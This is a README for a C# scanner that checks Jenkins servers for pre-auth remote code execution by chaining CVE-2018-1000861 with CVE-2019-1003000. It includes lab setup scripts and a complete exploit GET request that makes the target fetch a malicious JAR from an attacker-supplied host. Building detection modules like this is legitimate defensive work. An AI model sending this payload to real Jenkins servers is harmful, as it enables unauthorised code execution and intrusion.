1nthekut/cve-2019-1003000_rce-detectionA C# module to detect if a Jenkins server is vulnerable to the RCE vulnerability found in CVE-2019-1003000 (chained with CVE-2018-1000861 for pre-auth RCE)
Chaining vulnerability CVE-2018-1000861 with CVE-2019-1003000, I created a module to test for a Pre-Auth RCE on Jenkins CI. Initially, I had tried to go about detecting the vulnerability with a username and password and job name; however, I thought it would be more realistic and interesting to go about this challenge chaining the two vunerabilites together.
Have Visual Studio or the .NET Core framework installed on your Windows, Linux, or macOS machine.
docker pull jenkins/jenkins:2.121mvDir.sh
./mvDir.sh
chmod +x mvDir.sh. If it doesn't work still, you can run it as bash mvDir.sh./run_vuln_jenkins.sh
http://localhost:8080)./run_updated_jenkins.sh or bash run_updated_jenkins.sh will spin up a secure, up to date jenkins server running on http://localhost:8000 and running the module against this will show that it is secure and not vulnerable to CVE-2018-1000861 chained with CVE-2019-1003000.The initial planning that I had created was a good framework for how I went about solving the solution; however, as I went about it I discovered that I was making a lot of the work more complicated than it needed to be. I had initally created a bash script to launch a reverse shell to my host machine to prove RCE. However, the goal of this challenge was to prove that the vulnerability existed. In this instance, it was to prove that RCE could be launched on Jenkins version 2.121.2 with the following plugins: Pipeline: Declarative Plugin to 1.3.4, Pipeline: Declarative Extension Points API to 1.3.4, Pipeline: Groovy Plugin to 2.61 Script Security Plugin to 1.49.
I didn't need to actually create a reverse shell and show that I can launch arbiraty commands. Because of this, it makes it easier to detect on both Windows and .nix based operating systems. After making the GET request, I found that the page will respond with a status marked as success or it will print an error message. However to ensure that the status success wasn't a false positive, I set up a web server on my host using python -m SimpleHTTPSever 80 and upon launching the custom GET request to the specified malicious JAR file (that can be found in payload folder), it can be seen that the GET request responds with a 200 status code with the correct path to the jar file that is found on the local machine, proving the vulnerablity exists. Below is a sample of the GET request and the corresponding response. The different files paths (tw/ and www/) each contain the malicious jar; they are just different paths the request is navigating to find it.
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;
dotnet buildTo run module: dotnet run -- -u http://localhost:8080 -ip <host_ip_address>
http:// or else the program will throw an HTTP exception and you will have to run it again.Parameter Options
| Shortened | Longer | Description |
|---|---|---|
| -uname | --username | Jenkins username |
| -p | --password | Jenkins user password |
| -u | --url | Target url |
| -ip | --ip address | IP Address |
| -v | --verbose | Verbose output |
-p, -uname have not been implemented yet since I only created the module to detect a pre-auth RCE since I thought it would be more realistic for Detectify because I think that the company's scanner would just be pointed at a target domain (and not have custom parameters such as a password and username since that would also be insecure for another company to give to another even if it is attempting to help improve their security posture).